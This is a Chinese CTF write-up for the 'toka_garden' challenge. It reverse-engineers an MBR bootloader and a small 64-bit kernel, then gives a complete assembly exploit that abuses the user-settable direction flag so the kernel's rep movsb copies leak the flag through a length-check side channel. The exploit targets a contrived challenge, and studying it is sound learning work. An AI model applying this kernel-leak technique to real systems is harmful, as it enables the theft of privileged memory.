toka_garden赛题复现

前言

本文与giacomo共同撰写。

文件分析

题目给了一个硬盘的二进制文件,通过第一扇区结尾的0x55 0xAA可以判断出这就是MBR扇区。硬盘一共包含6个扇区。BIOS会将MBR扇区加载至0x7c00位置运行,直接拖入IDA,rebase后静态分析。若要动态分析,则需要一些小技巧。

如果用gdb连接qemu从一开始调试,明显不对劲,这是因为此时系统正在实模式下运行,而gdb反汇编指令则是按64位指令反汇编,所以识别错了指令。若用set architecture i8086,则会导致调试客户端与服务端的不匹配,也不能正常调试。在实模式下,使用bochs调试会是一个不错的方案。而在进入64位模式后,bochs作为x86 emulator就不能继续调试,此时qemu可以调试。所以可以gdb连接qemu后下断点到进入64位模式的位置,就能正常调试了。

bootloader

其实这里有源码,不过出于学习目的,我们还是逆向分析一下

实模式

首先,程序将硬盘中的内容加载进内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sub_7C00 proc near
xor bx, bx
mov ds, bx
mov ss, bx
mov bp, 7C0h
mov dh, 0
mov cx, 1
loc_7C0E:
add cl, 1
jb short loc_7C1F
add bp, 20h
mov es, bp
mov ax, 201h
int 13h ; DISK - READ SECTORS INTO MEMORY
; AL = number of sectors to read, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer to fill
; Return: CF set on error, AH = status, AL = number of sectors read
jnb short loc_7C0E

因为第一扇区是MBR扇区,已经被BIOS加载进0x7c00,所以程序从第二扇区开始加载进0x7e00处,直到读取失败,CF=1,在int 13h后不再继续向上跳转,而是向下执行。

1
2
3
4
5
loc_7C1F:
mov di, 800h
xor al, al
lea cx, ds:7400h
rep stosb byte ptr es:[di], al

注意到es段寄存器的位置在于内存上加载的内存数据的结尾,di为0x800的偏移,即从0x9000处开始清零长度为0x7400的内存

1
2
cli
lgdt fword ptr ds:unk_7CAB

加载GDT,具体的段描述符内容我们可以在bochs中使用info gdt查看

1
2
3
Global Descriptor Table (base=0x0000000000007ca9, limit=15):
GDT[0x0000]=Code segment, base=0x00a9000f, limit=0x0000c3a4, Execute-Only, Conforming, 16-bit
GDT[0x0008]=Code segment, base=0x00000000, limit=0x00000fff, Execute/Read, Non-Conforming, 64-bit

gdt在index为0处的描述符被定义为空描述符,所以我们可以不必在意其中GDT[0]的内容,只需要看GDT[8]处定义了一个基址为0的64位代码段。

1
2
3
4
5
6
7
8
mov     eax, 1000h
mov word ptr [eax], 2003h
mov word ptr ds:1FF8h, 2003h
mov cr3, eax
mov word ptr ds:2000h, 3003h
mov word ptr ds:2008h, 4003h
mov word ptr ds:2FF0h, 3003h
mov word ptr ds:2FF8h, 4003h

页表相关

1
2
3
4
5
6
7
8
9
10
mov     di, 3000h
xor ax, ax
mov cx, 400h
loc_7C64:
mov byte ptr [di], 83h
mov [di+3], ax
add di, 8
inc ax
inc ax
loop loc_7C64

页表相关

1
2
3
mov     eax, cr4
or al, 10100011b ; PGE PAE PVI VME
mov cr4, eax

启用分页(当然因为此时还在实模式,分页只是被设置启用,而并没有生效。需要进入保护模式后才会生效)

1
2
3
4
mov     ecx, 0C0000080h ; IA32_EFER
rdmsr
or ax, 100000000b ; LME
wrmsr

设置IA32_EFER寄存器的LME位为1,从而启用四层页表,为接下来进入IA-32e mode做准备

1
2
3
mov     eax, 80000011h ; PG ET PE
mov cr0, eax
jmp far ptr 8:7C94h

在执行mov cr0, eax时,因为IA32_EFER.LME==1,设置CR0.PG=1会使IA32_EFER.LMA=1,此时IA-32e mode启用(详见Intel开发者手册Volume 3 10.8.5)。然后通过far jmp设置cs为8,从0x7c94开始执行64位指令。

等等,我们前面的GDT[8]的limit分明是0xfff,这样不是访问越界了吗?

–并不是这样,在IA-32e mode下,段机制的作用很有限,并且处理器不再进行越界检查(详见Intel开发者手册Volume 3 3.2.4)

我看书上写进保护模式还需要开启a20 gate啊?

–新的Intel 64 CPU默认解锁地址线,不需要开启操作。

保护模式

我们前面没有分析页表的内容,这是因为我们现在可以使用pt查看内存页(需要gdb-pt-dump插件),和monitor info tlb查看线性地址到物理地址的映射关系。页表:

1
2
3
4
5
           Address :     Length   Permissions          
0x0 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1
0x7f80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1
0xffffff8000000000 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1
0xffffffff80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1
1
2
3
4
5
6
7
8
mov     esi, 7E00h
mov rdi, 0FFFFFFFF80200000h
lodsq rax, qword ptr [rsi]
stosq qword ptr [rdi], rax
push rdi
mov rcx, rax
rep movsb byte ptr [rdi], byte ptr [rsi]
retn

0x7e00处存储了接下来代码的长度,然后将对应长度的数据从0x7e08拷贝至0FFFFFFFF80200008h开始的位置,然后通过retn跳转到对应位置执行,进入系统内核。我们ida rebase一下继续分析

kernel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sub_FFFFFFFF80200008 proc near
or byte ptr ds:1000h, 4
or byte ptr ds:2000h, 4
mov edi, 5000h
mov eax, 8007h
stosq
mov eax, 9007h
stosq
mov ecx, 1FEh
mov eax, 3
loc_FFFFFFFF80200035:
stosq
add rax, 1000h
loop loc_FFFFFFFF80200035
mov dword ptr ds:3000h, 5007h
mov rax, cr3
mov cr3, rax

改页表。新页表:

1
2
3
4
5
6
7
8
9
           Address :     Length   Permissions          
0x0 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1
0x2000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1
0x7f80000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1
0x7f80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1
0xffffff8000000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1
0xffffff8000002000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1
0xffffffff80000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1
0xffffffff80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1
1
2
3
4
5
xor     rdi, rdi
mov ecx, 2000h
xor al, al
rep stosb byte ptr [rdi], al
lgdt fword ptr cs:unk_FFFFFFFF80200120

从逻辑地址0处清零0x2000长度的内存。加载新的GDT。分析新的GDT内容可得:

1
2
3
4
5
6
0: 空
8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable
10: 64-bit Data Segment, DPL=0, Writable
18: 64-bit Code Segment, DPL=3, Non-Conforming, Readable
20: 64-bit Data Segment, DPL=3, Writable
28: TSS Descriptor
1
2
3
4
5
6
7
8
9
mov     ax, 10h
mov ss, eax
mov ds, eax
mov fs, eax
mov es, eax
mov gs, eax
push 8
push 0FFFFFFFF8020007Ah
retfq

将ss, ds, fs, es, gs设为0x10,cs设为8,继续向下执行

1
lidt    fword ptr cs:unk_FFFFFFFF802007A0

加载IDT,可以点进去直接看,也可以monitor info registers -a看 idtr 是 IDT= ffffffff80200790 00000010

1
2
3
4
5
6
7
8
segment selector: 8 # 中断程序所在的段选择符
offset: 0xffffffff8020012a
type: 64-bit Interrupt Gate
p: 1
DPL: 3

对应的段为
8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable

因此发现只实现了int 0

1
2
mov    ax,0x28
ltr ax # 任务寄存器 TR

切换 tr 寄存器变成以下内容

1
TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl

从 IO读0x1000字节(用户程序)到内存地址0开始的位置上

1
2
3
4
5
6
7
8
9
10
xor    rdi,rdi
mov ecx,0x1000
mov dx,0x3fd
in al,dx
test al,0x1
je 0xffffffff80200090
sub dl,0x5
in al,dx
stos BYTE PTR es:[rdi],al
loop 0xffffffff80200090

回到用户态 cs=0x1b ss=0x23 sp=0x2000 ip=0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mov    ax,0x23
mov ds,eax
mov es,eax
mov fs,eax
mov gs,eax
xor rax,rax
xor rbx,rbx
xor rcx,rcx
xor rdx,rdx
xor rsi,rsi
xor rdi,rdi
xor rbp,rbp
xor r8,r8
xor r9,r9
xor r10,r10
xor r11,r11
xor r12,r12
xor r13,r13
xor r14,r14
xor r15,r15
push 0x23
push 0x2000
push 0x2
push 0x1b
push 0x0
iretq

跳转至用户程序执行

漏洞分析

通过以上的分析我们知道这是一个用户态程序通过系统调用的漏洞泄露内核数据的题目。int 0对应的handler是0xffffffff8020012a,分析可得是根据rax的值跳转到不同系统调用的过程。我们逐个分析系统调用

1
2
3
4
5
6
7
8
0: exit_handler
1: printstr_handler
2: getchar_handler
3: put_buf1
4: mov_buf1_to_buf2
5: append_buf2_to_buf1
6: print_banner
7: clean_buf2

buf1的长度存储在0xFFFFFFFF8020044C,内容存储在由0xFFFFFFFF80200454开始的0x100字节内。buf2不存储长度,从0xFFFFFFFF80200554开始存储0x100字节。

发现漏洞点在于操作buf1, buf2时,拷贝内存内容使用的是rep movsb,而在循环过程中地址是增加/减少取决于CPU的DF(Direction Flag)。而DF在用户态下就能被std, cld指令设置。

flag存储在buf1前面的位置,利用反方向的rep movsb,我们可以通过syscall_4将flag拷贝到buf2前面的位置,再通过syscall_5使flag的对应字节覆盖buf1前部存储长度的位置,最后利用buf1长度不能超过0x100的特点,通过向syscall_3传入不同长度得到的返回值侧信道得到该字节的值。

exp

官方wp给出了poc,稍微改一下就能得到完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
put_buf1 equ 3
mov_buf1_to_buf2 equ 4
append_buf2_to_buf1 equ 5
[org 0x0]
[bits 64]

test:
mov rdi,buffer
mov ecx,dword [idx]
mov eax,put_buf1
int 0x0
std
mov eax,mov_buf1_to_buf2
int 0x0
cld
mov rdi,buffer
mov ecx,dword [idx]
sub ecx,9
mov eax,put_buf1
int 0x0
std
mov ecx,dword [idx]
mov eax,append_buf2_to_buf1
int 0x0
cld
mov ecx,256
test_loop:
sub ecx,1
mov r9,rcx
mov rdi,buffer
mov eax,put_buf1
int 0x0
cmp rax,-1
jz test_loop

mov ecx,256
sub rcx,r9
cmp ecx,1
je fin
mov eax, dword [idx]
mov byte [flag+eax-18],cl
inc eax
mov dword [idx], eax
clear:
mov eax,7
int 0x0
mov ecx,0x100
mov eax,append_buf2_to_buf1
int 0x0
jmp test

fin:
mov rsi,flag
mov edi,dword [idx]
sub edi,19
add rsi,rdi
mov eax,1
std
int 0x0
exit:
hlt

buffer:
times 255 db "a"
db 0
flag:
times 128 db 0
idx dd 18

参考资料

DASCTF6月二进制专项赛官方wp

intel开发者手册